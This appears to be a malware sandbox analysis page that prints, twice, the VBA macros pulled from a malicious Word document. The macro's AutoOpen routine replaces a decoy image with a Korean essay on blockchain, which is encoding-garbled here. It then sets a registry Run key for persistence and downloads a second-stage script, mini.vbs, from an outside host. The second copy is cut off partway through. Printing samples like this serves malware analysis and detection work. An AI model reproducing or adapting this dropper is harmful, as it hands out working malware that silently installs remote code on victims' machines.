Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "NewMacros"
Private Function InsertText()

Dim enter As String

enter = Chr(13) & Chr(10)

Dim strText(13) As String

strText(0) = "¼ø°áÇÑ ºí·ÏüÀÎ" & enter
strText(1) = enter
strText(2) = enter
strText(3) = enter
strText(4) = "ºí·ÏüÀÎÇÏ¸é ¹¹°¡ ¶°¿À¸£½Ã³ª¿ä? ³×, ¸¹Àº ºÐµéÀÌ ºñÆ®ÄÚÀÎÀ» ¿¬»óÇÕ´Ï´Ù." & enter
strText(5) = "ºñÆ®ÄÚÀÎÀº ºí·ÏüÀÎÀ» ±â¹ÝÀ¸·Î ÇÑ ¾ÏȣȭÆóÁÒ. ±×·±µ¥ ÀÌ ¾ÏȣȭÆó¿¡ ´ëÇÑ À̹ÌÁö°¡ ÁÁÁö ¾Ê½À´Ï´Ù." & enter
strText(6) = "2017³â ºñÆ®ÄÚÀÎ ±¤Ç³À» ±â¾ïÇϽóª¿ä?ÁÖÀ§¿¡¼­ ½É½ÉÄ¡ ¾Ê°Ô ºñÆ®ÄÚÀÎ ÅõÀÚ·Î ¸î¾ïÀ» ¹ú¾ú´Ù´À´Ï ÀÒ¾ú´Ù´À´Ï ÇÏ´Â ¼Ò½ÄÀ» µéÀ» ¼ö ÀÖ¾úÁÒ. ½Å¹®¿¡¼­´Â ÀÌ·± ºñÆ®ÄÚÀÎ ±¤Ç³À» Åõ±â¶ó°í Çß½À´Ï´Ù.±×·¸´Ù¸é ¿Ö »ç¶÷µéÀº ºñÆ®ÄÚÀο¡ Åõ±âÇßÀ»±î¿ä? ´ëºÎºÐÀº ÀÏȮõ±Ý ±â´ë¿¡ ³²µéÀ» µû¶óÇÏ´Ù ¸¹Àº µ·À» ÀÒ¾ú°ÚÁÒ. ÇÏÁö¸¸ Ãʱâ ÅõÀÚÀÚµéÀº ºñÆ®ÄÚÀο¡¼­ ¹º°¡ °¡Ä¡¸¦ ¹ß°ßÇÑ°Ô ºÐ¸íÇÕ´Ï´Ù. À¯½Ã¹Î ÀÛ°¡´Â ¾ÏȣȭÆó°¡ ³­ÇØÇÏ°í ¿ì¾ÆÇÑ »ç±â¶ó°í ¸»Çß½À´Ï´Ù. ÀÌ¿¡ ¸Â¼­ Àú´Â ¾ÏȣȭÆó¿Í ºí·ÏüÀÎÀÇ ¼ø°áÇÔÀ» ´ëº¯ÇÏ°íÀÚ ÇÕ´Ï´Ù." & enter
strText(7) = enter & "¿ì¸®´Â ¸ÕÀú È­ÆóÀÇ ¿ª»ç¸¦ »ìÆìºÁ¾ß ÇÕ´Ï´Ù. ¿À·¡ Àü Àηù´Â Á¶°³²®Áú, °î½Ä, ±Ý µîÀÇ ½Ç¹°À» È­Æó·Î »ç¿ëÇßÁÒ. ±×·¯´Ù ±×·¯ÇÑ ½Ç¹°¿¡ ´ëÇÑ ±³È¯ Áõ¼­°¡ È­Æó°¡ µÇ¾ú°í, Çö´ë¿¡ µé¾î¼­´Â ½Ç¹°ÀÌ´ø ±Ý ±³È¯µµ º¸ÀåÇØÁÖÁö ¾Ê´Â ºÒÅÂȯ È­Æó°¡ µÇ¾ú½À´Ï´Ù. ±×·³¿¡µµ ¿ì¸®´Â º° ¹®Á¦ ¾øÀÌ È­Æó¸¦ »ç¿ëÇÕ´Ï´Ù. ÀÌ°ÍÀÌ °¡´ÉÇÑ ÀÌÀ¯´Â ¹«¾ùÀϱî¿ä? Á¤ºÎ°¡ º¸ÁõÇØÁֱ⠶§¹®¿¡ ½Å·ÚÇÏ´Â °ÍÀÔ´Ï´Ù." & enter
strText(8) = enter & "±×·¸´Ù¸é ºñÆ®ÄÚÀεµ ½Å·ÚÇÒ ¼ö ÀÖÀ»±î¿ä? ºñÆ®ÄÚÀÎÀ» ½Å·ÚÇÒ ¼ö ÀÖ´Â ÀÌÀ¯´Â ±× ±â¹ÝÀÇ ºí·ÏüÀÎ ´öºÐÀÔ´Ï´Ù. ¿©·¯ºÐ, Æë¼ö°¡ »Ç·Î·Î¿¡°Ô 100¿øÀ» ¼Û±ÝÇÏ´Â °Å·¡°¡ ¹ß»ýÇß´Ù°í Ĩ½Ã´Ù. ±×·³ Áß¾ÓÀÇ ÀºÇàÀÌ Æë¼öÀÇ °èÁ¿¡¼­ 100¿øÀ» Â÷°¨ÇÏ°í, »Ç·Î·ÎÀÇ °èÁ¿¡ 100¿øÀ» ´õÇÏ°ÚÁÒ. ÀÌ·¸°Ô ¸ðµç °Å·¡ µ¥ÀÌÅÍ°¡ Áß¾ÓÀÇ ÀºÇà ¼­¹ö¿¡ º¸°üµË´Ï´Ù. ±×·±µ¥ ¸¸¾à ÇØÄ¿µéÀÌ ÀÌ ´ÜÀÏÁöÁ¡À» °ø°ÝÇÑ´Ù¸é µ¥ÀÌÅÍ´Â ¾î¶»°Ô µÉ±î¿ä? À§/º¯Á¶°¡ µÇ¾î ÇØÄ¿ÀÇ °èÁ¿¡ ¸¹Àº µ·ÀÌ ÀÌüµÇ°ÚÁÒ." & enter
strText(9) = enter & "¹Ý¸é ºí·ÏüÀÎÀº ÀÌ·¯ÇÑ ´ÜÀÏÁöÁ¡ÀÌ ¾ø½À´Ï´Ù. Æë¼ö°¡ »Ç·Î·Î¿¡°Ô 100¿øÀ» ¼Û±ÝÇÑ ±â·ÏÀ» Áß¾ÓÀÇ ÀºÇàÀÌ ¾Æ´Ñ ¿©·¯ °÷¿¡ ÀúÀåÇÏÁÒ. °°Àº ±â·ÏÀ» ÀÌÁßÈ­, »ïÁßÈ­°¡ ¾Æ´Ï¶ó ¼ö¸¸ÁßÈ­ÇÏ¿© ºÐ»ê ÀúÀåÇÏ°í À̸¦ ½Ç½Ã°£ µ¿±âÈ­ÇÕ´Ï´Ù. ´ÜÀÏÁöÁ¡ÀÌ ¾ø±â ¶§¹®¿¡ ÇØÄ¿µéÀÌ ¾îµð¸¦ °ø°ÝÇØ¾ß ÇÒÁö ³­°¨ÇÑ »óȲÀÌ µÇÁÒ. ºí·ÏüÀÎÀ» ½Å·ÚÇÒ ¼ö Àִ ù¹ø° ÀÌÀ¯´Â ÀÌ·± ´ÙÁßÈ­ÀÔ´Ï´Ù. µÎ¹ø°, ºí·ÏüÀÎÀº °Å·¡ µ¥ÀÌÅ͸¦ ¾ÏȣȭÇÕ´Ï´Ù. ¸ðµç µ¥ÀÌÅÍ´Â 256ÀÚ¸® °ªÀ¸·Î ¾ÏȣȭµÇÁÒ. À̸¦ ¡®Çؽ¬¡¯¶ó°í Çϴµ¥ 1ºÎÅÍ °è¼Ó ¼ýÀÚ¸¦ ´ëÀÔÇؼ­ 256ÀÚ¸® ƯÁ¤ °ªÀ» ±¸ÇÏ´Â °Ì´Ï´Ù. ±×·±µ¥ Çؽ¬ Ư¼º»ó ¿ªÀ¸·Î ƯÁ¤ °ªÀÌ ³ª¿À´Â ƯÁ¤ ¼ýÀÚ¸¦ ã¾Æ³»´Â °ÍÀº ºÒ°¡´ÉÇÕ´Ï´Ù. ¸¶Ä¡ ¿ì¸®°¡ ÇÚµåÆù 4ÀÚ¸® ºñ¹Ð¹øÈ£¸¦ 1ºÎÅÍ 9±îÁö ¼ö¾øÀÌ ÀÔ·ÂÇؼ­ °á±¹ 5392¶ó´Â ºñ¹Ð¹øÈ£¸¦ ¸ÂÃâ ¼ö ÀÖÁö¸¸, ¿ªÀ¸·Î 5392¶ó´Â ºñ¹Ð¹øÈ£¸¦ °¡Áø ÇÚµåÆùÀ» ã¾Æ³»´Â °Ç ºÒ°¡´ÉÇÑ °Í°ú °°½À´Ï´Ù. Áï, ¾Ïȣȭ µÈ ÀÌ»ó, ¿ªÀ¸·Î µ¥ÀÌÅÍ À§Á¶°¡ ºÒ°¡´ÉÇÏÁÒ." & enter
strText(10) = enter & "¼¼¹ø°, ºí·ÏüÀÎÀº °Å·¡ µ¥ÀÌÅ͸¦ ¿¬°áÈ­ÇÕ´Ï´Ù. ºí·ÏüÀÎÀº Çؽ¬µÈ µ¥ÀÌÅÍ 1800°³¸¦ ÇÑ ºí·Ï¿¡ ÀúÀåÇϴµ¥¿ä. 2°³ÀÇ Çؽ¬¸¦ ´Ù½Ã Çؽ¬ÇÏ´Â ¹æ½ÄÀ¸·Î ÃÖÁ¾ Çؽ¬¸¦ ±¸ÇÏ°í À̸¦ ´ÙÀ½ ºí·Ï¿¡ ÀúÀåÇÏ´Â ¹æ½ÄÀ¸·Î ºí·ÏµéÀÌ Ã¼ÀÎó·³ À̾îÁö°Ô µË´Ï´Ù. ±×·¡¼­ ºí·Ï+üÀÎÀÌ µÇ´Â °ÍÀÌÁÒ. µû¶ó¼­ ÇØÄ¿´Â ÇÑ Çؽ¬¸¦ Á¶ÀÛÇÏ¸é ±× ÀÌÈÄÀÇ ¸ðµç Çؽ¬µéÀ» ´Ù Á¶ÀÛÇؾßÇÏ´Â ¹®Á¦¿¡ Á÷¸éÇÕ´Ï´Ù. ÀÌ·¸°Ô ´ÙÁßÈ­, ¾Ïȣȭ, ¿¬°áÈ­¶ó´Â 3°¡Áö ÀÛ¾÷À» ÅëÇØ µ¥ÀÌÅÍÀÇ À§/º¯Á¶°¡ ºÒ°¡´É ÇÑ °ÍÀÌ ºí·ÏüÀÎÀÔ´Ï´Ù. ±×·¸´Ù¸é ÀÌ·± ÀÛ¾÷À» ´©°¡ ÇÒ±î¿ä? Àü ¼¼°è¿¡ Èð¾îÁ®ÀÖ´Â ÄÄÇ»ÅÍ°¡ ÇÕ´Ï´Ù. ±×·±µ¥ ¸·´ëÇÑ ÄÄÇ»Æà ÀÛ¾÷À» °øÂ¥·Î ÇÒ¸®´Â ¾ø°ÚÁÒ? ÄÄÇ»Å͵éÀº ºí·ÏüÀÎÀÇ ½Å·Ú¼ºÀ» ³ô¿©ÁØ ´ë°¡·Î ¾ÏȣȭÆó¶ó´Â º¸»óÀ» ¹Þ±â ¶§¹®¿¡ ÀÌ¿¡ Âü¿©ÇÏ°Ô µË´Ï´Ù. ºí·ÏüÀÎÀ» ½Å·ÚÇÒ ¼ö Àֱ⠶§¹®¿¡ ¾ÏȣȭÆóµµ ½Å·ÚÇÒ ¼ö ÀÖ´Ù´Â °Í ÀÌÇØ µÇ½Ã³ª¿ä?" & enter
strText(11) = enter & "±×·¸´Ù¸é ºí·ÏüÀÎÀº µ· °Å·¡ µ¥ÀÌÅ͸¸ ´ãÀ» ¼ö ÀÖÀ»±î¿ä? ±×·¸Áö ¾Ê½À´Ï´Ù. ¿Â°® °¡Ä¡ ÀÖ´Â µ¥ÀÌÅÍ´Â ÀüºÎ ´ãÀ» ¼ö ÀÖÁÒ. ºÎµ¿»ê, ¹°·ù, ½Å¿ø, ¼±°Å, ÀúÀÛ±Ç µî. ±× Áß¿¡ ÀúÀÛ±Ç µ¥ÀÌÅÍ´Â ¾î¶»°Ô ´ã±â´ÂÁö »ìÆ캼±î¿ä?" & enter
strText(12) = enter & "Æë¼öÀÇ ¿äµé¼ÛÀÔ´Ï´Ù. À̸¦ ºí·ÏüÀÎ ½Ã½ºÅÛ¿¡ ¿Ã·È´Ù°í Ĩ½Ã´Ù. ±×¸®°í »Ç·Î·Î°¡ À̸¦ ¸®¸ÞÀÌÅ© Çß½À´Ï´Ù. ±×¸®°í ÀÌ ¸®¸ÞÀÌÅ© °îÀ» ÀáÇÑÅä°¡ »ç¿ëÇÏ°Ô µÇ¾úÁÒ. ÀÌ·¯ÇÑ Æë¼öÀÇ ¿äµé¼Û °Å·¡ µ¥ÀÌÅÍ´Â ¸ðµÎ À§/º¯Á¶°¡ ºÒ°¡´ÉÇÑ ºí·ÏüÀο¡ ±â·ÏµÇ¾î Àֱ⠶§¹®¿¡ ÀáÇÑÅä´Â À½¿ø»ç¿ë·á¸¦, »Ç·Î·Î´Â ÀúÀ۱ǷḦ Æë¼ö¿¡°Ô Áö±ÞÇÕ´Ï´Ù. ÃßÀûÀÌ °¡´ÉÇϱ⠶§¹®¿¡ Áß°£¿¡ º¹ÀâÇÑ °Å·¡°¡ À־ ¼öÀÔ ±¸Á¶°¡ Åõ¸íÇØÁöÁÒ." & enter
strText(13) = enter & "ÀÌ·± ½ÄÀ¸·Î ºÎµ¿»ê, ¹°·ù, ½Å¿ø, ¼±°Å µ¥ÀÌÅ͵µ À§/º¯Á¶°¡ ºÒ°¡´ÉÇÏ°í ÃßÀûÀÌ °¡´ÉÇØÁý´Ï´Ù. ±×¾ß¸»·Î ºí·ÏüÀÎÀº ¹«±Ã¹«ÁøÇÑ °¡´É¼ºÀ» Áö³æ´Ù°í ÇÒ ¼ö ÀÖÁÒ. Àü ¼¼°è¿¡ Èð¾îÁø ÄÄÇ»Å͵éÀÌ µ¥ÀÌÅ͸¦ ´ÙÁßÈ­, ¾Ïȣȭ, ¿¬°áÈ­ÇÑ ºí·ÏüÀÎÀº ½Å·ÚÀÇ »ó¡ÀÔ´Ï´Ù. ÀÌÁ¦ ºí·ÏüÀÎÀÌ »ç±â·Î ¸ô¸°°Ô ¿Ö ¾ï¿ïÇÑÁö ¾Æ¼Ì³ª¿ä? ÀÎÅͳݵµ Ãʱ⿡ ´åÄĹöºíÀ» °Þ¾úÁÒ. ¸ðµç Çõ½ÅÀûÀÎ ±â¼úÀº Ãʱ⿡ ³­°ü¿¡ ºÎµúÄ¡±â ¸¶·ÃÀÔ´Ï´Ù. Áö±Ý±îÁö ¼ø°áÇÑ ºí·ÏüÀÎÀ̾ú½À´Ï´Ù." & enter & enter


Dim i As Integer
ActiveDocument.Content.Select

For i = 0 To 13

 Selection.InsertAfter strText(i)

Next i

End Function
Private Function DeleteImage()

ActiveDocument.Bookmarks("bm").Range.Delete

End Function
Private Function DownloadFile(myURL, myPath)
    Dim i, objFile, objFSO, objHTTP, strFile, strMsg
    Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    If objFSO.FolderExists(myPath) Then
        strFile = objFSO.BuildPath(myPath, Mid(myURL, InStrRev(myURL, "/") + 1))
    ElseIf objFSO.FolderExists(Left(myPath, InStrRev(myPath, "\") - 1)) Then
        strFile = myPath
    Else
        Exit Function
    End If
    Set objFile = objFSO.OpenTextFile(strFile, ForWriting, True)
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
    objHTTP.Open "GET", myURL, False
    objHTTP.Send
    
    For i = 1 To LenB(objHTTP.ResponseBody)
        objFile.Write Chr(AscB(MidB(objHTTP.ResponseBody, i, 1)))
    Next
End Function
Sub AutoOpen()
On Error Resume Next

DeleteImage
InsertText

Set ws = CreateObject("WScript.Shell")
strMyPath = ws.SpecialFolders("Templates")
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windir", strMyPath & "\mini.vbs", "REG_SZ"
DownloadFile "http://smart.com-coffee.click/trash/conf/vorontsov/mini.vbs", strMyPath & "\mini.vbs"

End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "NewMacros"
Private Function InsertText()

Dim enter As String

enter = Chr(13) & Chr(10)

Dim strText(13) As String

strText(0) = "¼ø°áÇÑ ºí·ÏüÀÎ" & enter
strText(1) = enter
strText(2) = enter
strText(3) = enter
strText(4) = "ºí·ÏüÀÎÇÏ¸é ¹¹°¡ ¶°¿À¸£½Ã³ª¿ä? ³×, ¸¹Àº ºÐµéÀÌ ºñÆ®ÄÚÀÎÀ» ¿¬»óÇÕ´Ï´Ù." & enter
strText(5) = "ºñÆ®ÄÚÀÎÀº ºí·ÏüÀÎÀ» ±â¹ÝÀ¸·Î ÇÑ ¾ÏȣȭÆóÁÒ. ±×·±µ¥ ÀÌ ¾ÏȣȭÆó¿¡ ´ëÇÑ À̹ÌÁö°¡ ÁÁÁö ¾Ê½À´Ï´Ù." & enter
strText(6) = "2017³â ºñÆ®ÄÚÀÎ ±¤Ç³À» ±â¾ïÇϽóª¿ä?ÁÖÀ§¿¡¼­ ½É½ÉÄ¡ ¾Ê°Ô ºñÆ®ÄÚÀÎ ÅõÀÚ·Î ¸î¾ïÀ» ¹ú¾ú´Ù´À´Ï ÀÒ¾ú´Ù´À´Ï ÇÏ´Â ¼Ò½ÄÀ» µéÀ» ¼ö ÀÖ¾úÁÒ. ½Å¹®¿¡¼­´Â ÀÌ·± ºñÆ®ÄÚÀÎ ±¤Ç³À» Åõ±â¶ó°í Çß½À´Ï´Ù.±×·¸´Ù¸é ¿Ö »ç¶÷µéÀº ºñÆ®ÄÚÀο¡ Åõ±âÇßÀ»±î¿ä? ´ëºÎºÐÀº ÀÏȮõ±Ý ±â´ë¿¡ ³²µéÀ» µû¶óÇÏ´Ù ¸¹Àº µ·À» ÀÒ¾ú°ÚÁÒ. ÇÏÁö¸¸ Ãʱâ ÅõÀÚÀÚµéÀº ºñÆ®ÄÚÀο¡¼­ ¹º°¡ °¡Ä¡¸¦ ¹ß°ßÇÑ°Ô ºÐ¸íÇÕ´Ï´Ù. À¯½Ã¹Î ÀÛ°¡´Â ¾ÏȣȭÆó°¡ ³­ÇØÇÏ°í ¿ì¾ÆÇÑ »ç±â¶ó°í ¸»Çß½À´Ï´Ù. ÀÌ¿¡ ¸Â¼­ Àú´Â ¾ÏȣȭÆó¿Í ºí·ÏüÀÎÀÇ ¼ø°áÇÔÀ» ´ëº¯ÇÏ°íÀÚ ÇÕ´Ï´Ù." & enter
strText(7) = enter & "¿ì¸®´Â ¸ÕÀú È­ÆóÀÇ ¿ª»ç¸¦ »ìÆìºÁ¾ß ÇÕ´Ï´Ù. ¿À·¡ Àü Àηù´Â Á¶°³²®Áú, °î½Ä, ±Ý µîÀÇ ½Ç¹°À» È­Æó·Î »ç¿ëÇßÁÒ. ±×·¯´Ù ±×·¯ÇÑ ½Ç¹°¿¡ ´ëÇÑ ±³È¯ Áõ¼­°¡ È­Æó°¡ µÇ¾ú°í, Çö´ë¿¡ µé¾î¼­´Â ½Ç¹°ÀÌ´ø ±Ý ±³È¯µµ º¸ÀåÇØÁÖÁö ¾Ê´Â ºÒÅÂȯ È­Æó°¡ µÇ¾ú½À´Ï´Ù. ±×·³¿¡µµ ¿ì¸®´Â º° ¹®Á¦ ¾øÀÌ È­Æó¸¦ »ç¿ëÇÕ´Ï´Ù. ÀÌ°ÍÀÌ °¡´ÉÇÑ ÀÌÀ¯´Â ¹«¾ùÀϱî¿ä? Á¤ºÎ°¡ º¸ÁõÇØÁֱ⠶§¹®¿¡ ½Å·ÚÇÏ´Â °ÍÀÔ´Ï´Ù." & enter
strText(8) = enter & "±×·¸´Ù¸é ºñÆ®ÄÚÀεµ ½Å·ÚÇÒ ¼ö ÀÖÀ»±î¿ä? ºñÆ®ÄÚÀÎÀ» ½Å·ÚÇÒ ¼ö ÀÖ´Â ÀÌÀ¯´Â ±× ±â¹ÝÀÇ ºí·ÏüÀÎ ´öºÐÀÔ´Ï´Ù. ¿©·¯ºÐ, Æë¼ö°¡ »Ç·Î·Î¿¡°Ô 100¿øÀ» ¼Û±ÝÇÏ´Â °Å·¡°¡ ¹ß»ýÇß´Ù°í Ĩ½Ã´Ù. ±×·³ Áß¾ÓÀÇ ÀºÇàÀÌ Æë¼öÀÇ °èÁ¿¡¼­ 100¿øÀ» Â÷°¨ÇÏ°í, »Ç·Î·ÎÀÇ °èÁ¿¡ 100¿øÀ» ´õÇÏ°ÚÁÒ. ÀÌ·¸°Ô ¸ðµç °Å·¡ µ¥ÀÌÅÍ°¡ Áß¾ÓÀÇ ÀºÇà ¼­¹ö¿¡ º¸°üµË´Ï´Ù. ±×·±µ¥ ¸¸¾à ÇØÄ¿µéÀÌ ÀÌ ´ÜÀÏÁöÁ¡À» °ø°ÝÇÑ´Ù¸é µ¥ÀÌÅÍ´Â ¾î¶»°Ô µÉ±î¿ä? À§/º¯Á¶°¡ µÇ¾î ÇØÄ¿ÀÇ °èÁ¿¡ ¸¹Àº µ·ÀÌ ÀÌüµÇ°ÚÁÒ." & enter
strText(9) = enter & "¹Ý¸é ºí·ÏüÀÎÀº ÀÌ·¯ÇÑ ´ÜÀÏÁöÁ¡ÀÌ ¾ø½À´Ï´Ù. Æë¼ö°¡ »Ç·Î·Î¿¡°Ô 100¿øÀ» ¼Û±ÝÇÑ ±â·ÏÀ» Áß¾ÓÀÇ ÀºÇàÀÌ ¾Æ´Ñ ¿©·¯ °÷¿¡ ÀúÀåÇÏÁÒ. °°Àº ±â·ÏÀ» ÀÌÁßÈ­, »ïÁßÈ­°¡ ¾Æ´Ï¶ó ¼ö¸¸ÁßÈ­ÇÏ¿© ºÐ»ê ÀúÀåÇÏ°í À̸¦ ½Ç½Ã°£ µ¿±âÈ­ÇÕ´Ï´Ù. ´ÜÀÏÁöÁ¡ÀÌ ¾ø±â ¶§¹®¿¡ ÇØÄ¿µéÀÌ ¾îµð¸¦ °ø°ÝÇØ¾ß ÇÒÁö ³­°¨ÇÑ »óȲÀÌ µÇÁÒ. ºí·ÏüÀÎÀ» ½Å·ÚÇÒ ¼ö Àִ ù¹ø° ÀÌÀ¯´Â ÀÌ·± ´ÙÁßÈ­ÀÔ´Ï´Ù. µÎ¹ø°, ºí·ÏüÀÎÀº °Å·¡ µ¥ÀÌÅ͸¦ ¾ÏȣȭÇÕ´Ï´Ù. ¸ðµç µ¥ÀÌÅÍ´Â 256ÀÚ¸® °ªÀ¸·Î ¾ÏȣȭµÇÁÒ. À̸¦ ¡®Çؽ¬¡¯¶ó°í Çϴµ¥ 1ºÎÅÍ °è¼Ó ¼ýÀÚ¸¦ ´ëÀÔÇؼ­ 256ÀÚ¸® ƯÁ¤ °ªÀ» ±¸ÇÏ´Â °Ì´Ï´Ù. ±×·±µ¥ Çؽ¬ Ư¼º»ó ¿ªÀ¸·Î ƯÁ¤ °ªÀÌ ³ª¿À´Â ƯÁ¤ ¼ýÀÚ¸¦ ã¾Æ³»´Â °ÍÀº ºÒ°¡´ÉÇÕ´Ï´Ù. ¸¶Ä¡ ¿ì¸®°¡ ÇÚµåÆù 4ÀÚ¸® ºñ¹Ð¹øÈ£¸¦ 1ºÎÅÍ 9±îÁö ¼ö¾øÀÌ ÀÔ·ÂÇؼ­ °á±¹ 5392¶ó´Â ºñ¹Ð¹øÈ£¸¦ ¸ÂÃâ ¼ö ÀÖÁö¸¸, ¿ªÀ¸·Î 5392¶ó´Â ºñ¹Ð¹øÈ£¸¦ °¡Áø ÇÚµåÆùÀ» ã¾Æ³»´Â °Ç ºÒ°¡´ÉÇÑ °Í°ú °°½À´Ï´Ù. Áï, ¾Ïȣȭ µÈ ÀÌ»ó, ¿ªÀ¸·Î µ¥ÀÌÅÍ À§Á¶°¡ ºÒ°¡´ÉÇÏÁÒ." & enter
strText(10) = enter & "¼¼¹ø°, ºí·ÏüÀÎÀº °Å·¡ µ¥ÀÌÅ͸¦ ¿¬°áÈ­ÇÕ´Ï´Ù. ºí·ÏüÀÎÀº Çؽ¬µÈ µ¥ÀÌÅÍ 1800°³¸¦ ÇÑ ºí·Ï¿¡ ÀúÀåÇϴµ¥¿ä. 2°³ÀÇ Çؽ¬¸¦ ´Ù½Ã Çؽ¬ÇÏ´Â ¹æ½ÄÀ¸·Î ÃÖÁ¾ Çؽ¬¸¦ ±¸ÇÏ°í À̸¦ ´ÙÀ½ ºí·Ï¿¡ ÀúÀåÇÏ´Â ¹æ½ÄÀ¸·Î ºí·ÏµéÀÌ Ã¼ÀÎó·³ À̾îÁö°Ô µË´Ï´Ù. ±×·¡¼­ ºí·Ï+üÀÎÀÌ µÇ´Â °ÍÀÌÁÒ. µû¶ó¼­ ÇØÄ¿´Â ÇÑ Çؽ¬¸¦ Á¶ÀÛÇÏ¸é ±× ÀÌÈÄÀÇ ¸ðµç Çؽ¬µéÀ» ´Ù Á¶ÀÛÇؾßÇÏ´Â ¹®Á¦¿¡ Á÷¸éÇÕ´Ï´Ù. ÀÌ·¸°Ô ´ÙÁßÈ­, ¾Ïȣȭ, ¿¬°áÈ­¶ó´Â 3°¡Áö ÀÛ¾÷À» ÅëÇØ µ¥ÀÌÅÍÀÇ À§/º¯Á¶°¡ ºÒ°¡´É ÇÑ °ÍÀÌ ºí·ÏüÀÎÀÔ´Ï´Ù. ±×·¸´Ù¸é ÀÌ·± ÀÛ¾÷À» ´©°¡ ÇÒ±î¿ä? Àü ¼¼°è¿¡ Èð¾îÁ®ÀÖ´Â ÄÄÇ»ÅÍ°¡ ÇÕ´Ï´Ù. ±×·±µ¥ ¸·´ëÇÑ ÄÄÇ»Æà ÀÛ¾÷À» °øÂ¥·Î ÇÒ¸®´Â ¾ø°ÚÁÒ? ÄÄÇ»Å͵éÀº ºí·ÏüÀÎÀÇ ½Å·Ú¼ºÀ» ³ô¿©ÁØ ´ë°¡·Î ¾ÏȣȭÆó¶ó´Â º¸»óÀ» ¹Þ±â ¶§¹®¿¡ ÀÌ¿¡ Âü¿©ÇÏ°Ô µË´Ï´Ù. ºí·ÏüÀÎÀ» ½Å·ÚÇÒ ¼ö Àֱ⠶§¹®¿¡ ¾ÏȣȭÆóµµ ½Å·ÚÇÒ ¼ö ÀÖ´Ù´Â °Í ÀÌÇØ µÇ½Ã³ª¿ä?" & enter
strText(11) = enter & "±×·¸´Ù¸é ºí·ÏüÀÎÀº µ· °Å·¡ µ¥ÀÌÅ͸¸ ´ãÀ» ¼ö ÀÖÀ»±î¿ä? ±×·¸Áö ¾Ê½À´Ï´Ù. ¿Â°® °¡Ä¡ ÀÖ´Â µ¥ÀÌÅÍ´Â ÀüºÎ ´ãÀ» ¼ö ÀÖÁÒ. ºÎµ¿»ê, ¹°·ù, ½Å¿ø, ¼±°Å, ÀúÀÛ±Ç µî. ±× Áß¿¡ ÀúÀÛ±Ç µ¥ÀÌÅÍ´Â ¾î¶»°Ô ´ã±â´ÂÁö »ìÆ캼±î¿ä?" & enter
strText(12) = enter & "Æë¼öÀÇ ¿äµé¼ÛÀÔ´Ï´Ù. À̸¦ ºí·ÏüÀÎ ½Ã½ºÅÛ¿¡ ¿Ã·È´Ù°í Ĩ½Ã´Ù. ±×¸®°í »Ç·Î·Î°¡ À̸¦ ¸®¸ÞÀÌÅ© Çß½À´Ï´Ù. ±×¸®°í ÀÌ ¸®¸ÞÀÌÅ© °îÀ» ÀáÇÑÅä°¡ »ç¿ëÇÏ°Ô µÇ¾úÁÒ. ÀÌ·¯ÇÑ Æë¼öÀÇ ¿äµé¼Û °Å·¡ µ¥ÀÌÅÍ´Â ¸ðµÎ À§/º¯Á¶°¡ ºÒ°¡´ÉÇÑ ºí·ÏüÀο¡ ±â·ÏµÇ¾î Àֱ⠶§¹®¿¡ ÀáÇÑÅä´Â À½¿ø»ç¿ë·á¸¦, »Ç·Î·Î´Â ÀúÀ۱ǷḦ Æë¼ö¿¡°Ô Áö±ÞÇÕ´Ï´Ù. ÃßÀûÀÌ °¡´ÉÇϱ⠶§¹®¿¡ Áß°£¿¡ º¹ÀâÇÑ °Å·¡°¡ À־ ¼öÀÔ ±¸Á¶°¡ Åõ¸íÇØÁöÁÒ." & enter
strText(13) = enter & "ÀÌ·± ½ÄÀ¸·Î ºÎµ¿»ê, ¹°·ù, ½Å¿ø, ¼±°Å µ¥ÀÌÅ͵µ À§/º¯Á¶°¡ ºÒ°¡´ÉÇÏ°í ÃßÀûÀÌ °¡´ÉÇØÁý´Ï´Ù. ±×¾ß¸»·Î ºí·ÏüÀÎÀº ¹«±Ã¹«ÁøÇÑ °¡´É¼ºÀ» Áö³æ´Ù°í ÇÒ ¼ö ÀÖÁÒ. Àü ¼¼°è¿¡ Èð¾îÁø ÄÄÇ»Å͵éÀÌ µ¥ÀÌÅ͸¦ ´ÙÁßÈ­, ¾Ïȣȭ, ¿¬°áÈ­ÇÑ ºí·ÏüÀÎÀº ½Å·ÚÀÇ »ó¡ÀÔ´Ï´Ù. ÀÌÁ¦ ºí·ÏüÀÎÀÌ »ç±â·Î ¸ô¸°°Ô ¿Ö ¾ï¿ïÇÑÁö ¾Æ¼Ì³ª¿ä? ÀÎÅͳݵµ Ãʱ⿡ ´åÄĹöºíÀ» °Þ¾úÁÒ. ¸ðµç Çõ½ÅÀûÀÎ ±â¼úÀº Ãʱ⿡ ³­°ü¿¡ ºÎµúÄ¡±â ¸¶·ÃÀÔ´Ï´Ù. Áö±Ý±îÁö ¼ø°áÇÑ ºí·ÏüÀÎÀ̾ú½À´Ï´Ù." & enter & enter


Dim i As Integer
ActiveDocument.Content.Select

For i = 0 To 13

 Selection.InsertAfter strText(i)

Next i

End Function
Private Function DeleteImage()

ActiveDocument.Bookmarks("bm").Range.Delete

End Function
Private Function DownloadFile(myURL, myPath)
    Dim i, objFile, objFSO, objHTTP, strFile, strMsg
    Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    If objFSO.FolderExists(myPath) Then
        strFile = objFSO.BuildPath(myPath, Mid(myURL, InStrRev(myURL, "/") + 1))
    ElseIf objFSO.FolderExists(Left(myPath, InStrRev(myPath, "\") - 1)) Then
        strFile = myPath
    Else
        Exit Function
    End If
    Set objFile = objFSO.OpenTextFile(strFile, ForWriting, True)
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
    objHTTP.Open "GET", myURL, False
